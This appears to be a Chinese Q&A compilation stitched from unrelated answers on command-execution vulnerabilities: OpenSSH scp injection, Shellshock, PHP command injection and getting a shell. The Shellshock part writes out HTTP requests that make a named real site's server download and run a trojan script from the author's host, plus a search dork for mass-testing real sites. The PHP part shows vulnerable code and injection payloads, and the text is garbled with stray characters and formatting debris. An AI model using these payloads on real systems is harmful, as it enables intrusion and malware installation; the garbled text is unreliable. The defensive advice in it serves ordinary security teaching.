『壹』 CVE-2020-15778 Openssh命令注入漏洞復現
漏洞介紹:
OpenSSH是用於使用SSH協議進行遠程登錄的一個開源實現。通過對交互的流量進行加密防止竊聽,連接劫持以及其他攻擊。OpenSSH由OpenBSD項目的一些開發人員開發, 並以BSD樣式的許可證提供,且已被集成到許多商業產品中。
2020年6月9日,研究人員Chinmay Pandya在Openssh中發現了一個漏洞,於7月18日公開。OpenSSH的8.3p1中的scp允許在scp.c遠程功能中注入命令,攻擊者可利用該漏洞執行任意命令。目前絕大多數linux系統受影響
漏洞環境:
漏洞利用條件:
scp命令:
1、先查看目標機器ssh版本:
2、利用scp命令,用kali對Ubuntu進行寫文件,復制文件:
Ubuntu上成功復制了文件並執行了創建文件的命令,確認漏洞存在:
既然如此,直接反彈shell豈不美哉
這個漏洞可能適用於遠程伺服器禁用了ssh登錄,但是允許使用scp傳文件,而且遠程伺服器允許使用反引號(`),其中有可能由以下幾種方式實現:
詳情參考:
iptables拒絕ssh訪問但不阻止scp和rsync
又水一篇文章~ 歐耶!
OpenSSH 命令注入漏洞(CVE-2020-15778)
OpenSSH命令注入漏洞復現(CVE-2020-15778
CVE-2020-15778 Openssh-SCP 命令注入漏洞復現報告
『貳』 bash遠程命令執行漏洞 怎麼修復
從昨天開始,這個從澳大利亞遠渡重洋而來的BASH遠程命令執行漏洞就沸騰了整個FreeBuf,大家都在談論,「互聯網的心臟又出血了」,可是,親,到底怎麼對網站進行測試?下面這段腳本
$ env x=『() { :;}; echo vulnerable' bash -c "echo this is a test"
真的如各路大神們說的這樣嗎?
它與「心臟出血」漏洞不同,「心臟出血」只能藉助竊取用戶電腦信息,而bash 漏洞允許黑客遠程式控制制電腦,拿到系統最高許可權!其方法利用就更簡單了——復制/粘貼一行命令代碼即可!
Bash漏洞為什麼能夠執行
Bash漏洞的原理:
BASH除了可以將shell變數導出為環境變數,還可以將shell函數導出為環境變數!當前版本的bash通過以函數名作為環境變數名,以「(){」開頭的字串作為環境變數的值來將函數定義導出為環境變數。
此次爆出的漏洞在於BASH處理這樣的「函數環境變數」的時候,並沒有以函數結尾「}」為結束,而是一直執行其後的shell命令。
簡單地說就是,Bash腳本在解析某些特殊字元串時出現邏輯錯誤導致可以執行後面的命令。
Bash漏洞與遠程執行有啥聯系
看到上面的解釋,很多童鞋都理解成了本地的漏洞,然後很多人又覺得,本地有啥可以利用的,於是就忽略了這個神級漏洞的存在。我想說的是,這個漏洞,利用熱度可以媲美當年的MS08-067,威力雖然弱了點,但遠程式控制制電腦還是可以的。
首先解釋一下cgi腳本。很多網站類似下面的鏈接:
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
後台不僅僅用python、Perl來解釋執行並反饋給客戶端Response,當然還可以換做bash腳本來解釋執行提交上來的GET/POST請求。所以,理論上,你在HTTP請求中插入一個Bash命令,比如
() { :;}; wget http://www.myvps.org/testvul.sh
如果伺服器的Bash解釋器具有這個漏洞,那麼在解釋上面這這句話的時候就會執行wget請求,將一個惡意的testvul.sh文件下載到這個伺服器,那為何說要放在HTTP頭部呢?比如:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www..com
Connection: keep-alive
這是因為這個漏洞是bash解釋器在解釋某些特殊的變數時才可以觸發的:
在於BASH處理以「(){」開頭的「函數環境變數」的時候,並沒有以函數結尾「}」為結束,而是一直執行其後的shell命令
通過自定義這些參數的值為「函數環境變數」的形式,就可以觸發後面的命令,惡意的客戶僅需要發送特殊構造的HTTP請求就可以使伺服器執行特定的命令(命令的許可權和解釋HTTP請求的Bash腳本環境相同)。
實際測試中,我的構造的測試請求:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www..com
Connection: keep-alive
過程是這樣的:
我發送GET請求–>目標伺服器cgi路徑
目標伺服器解析這個get請求,碰到UserAgent後面的參數,Bash解釋器就執行了後面的命令
目標伺服器wget–>我的myvps.org
我的vps記錄下這個訪問的IP地址
然後查看我的myvps.org伺服器的訪問記錄,就可以確定目標有沒有去訪問,如果訪問了,那麼,很好,它是有漏洞的。下面是我的VPS接收到的wget請求訪問的日誌:
大神是這樣測試漏洞的
當然,你也可以這樣構造:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www..com
Connection: keep-alive
實際上執行了下面三句:
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
你會發現,腳本就執行了,這就是Bash漏洞利用測試的精髓。
當然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然後批量提交類似的GET請求,你就能做到批量測試了。測試表明,500個url里有6-8個有bash漏洞
『叄』 命令執行漏洞
命令執行漏洞的成因:
腳本語言(如PHP )優點是簡潔、方便,但也伴隨著一些問題,如速度慢、無法接觸系統底層,如果我們開發的應用(特別是企業級的一些應用)需要-些除去web的特殊功能時,就需要調用一些外部程序。當應用需要調用一些外部程序去處理內容的情況下, 就會用到些執行系統命令桐漏的函數。如PHP中褲岩的system、exec. shell exec等,當用戶可以控制命令執行函數中的參數時,將可以注入惡局純爛意系統命令到正常命令中,造成命令執行攻擊。
PHP中調用外部程序的主要有以下函數:
system
exec
shell_exec
passthru
popen
proc_popen
全局搜索這些函數,觀察是否可以控制。
命令執行漏洞的防禦:
可控點為待執行的程序
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「$arg」);
}
?>
[if !supportLists]l [endif]/?cmd=id
[if !supportLists]l [endif]/?cmd=pwd
[if !supportLists]l [endif]/?cmd=ifconfig
可控點是傳入程序的整個參數(無引號包裹)
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「ping -c 3 $arg」);
}
?>
我們能夠控制的點是程序的整個參數,我們可以直接用&&或|等等,利用與、或、管道命令來執行其他命令。
/?cmd=127.0.0.1| ifconfig
可控點是某個參數的值(有雙引號包裹)
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「ls -al \」$arg\」」);
}
?>
閉合雙引號。
/?cmd=/home」 | ifconfig;」
可控點是某個參數的值(有單引號包裹)
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「ls -al 『$arg』 」);
}
?>
在單引號內的話,只是一個字元串,因此想要執行命令必須閉合單引號。
/cmd?=/home』 |ifconfig』
命令執行漏洞的防禦:
1、能使用腳本解決的工作,不要調用其他程序處理。盡量少用執行命令的函數,並在disable functions中禁用之。
2、對於可控點是程序參數的情況,使用escapeshellcmd函數進行過濾。
3、對於可控點是程序參數的值的情況,使用escapeshellarg函數進行過濾。
4、參數的值盡量使用引號包裹,並在拼接前調用addslashes進行轉義。
『肆』 利用代碼執行漏洞可以getshell嗎
利用代碼執行漏洞可以getshell。注入方式是利用PHP上傳數據默認輸出緩沖區大小的限制,過大的數據包會被臨時存放於tmp目錄下,通過文件包含注入點,快速的將緩沖數據進行包含執行。臨時文件執行後,會在tmp文件夾下寫入木馬,在執行過程中,連續使用ls命令查看tmp路徑。
『伍』 遠程代碼執行漏洞是什麼意思
簡而言之,就是攻擊者可以利用這個漏洞對你上網進行攻擊,使你執行一些非預期的指令,甚至得到你的系統控制權。希望可以幫到你。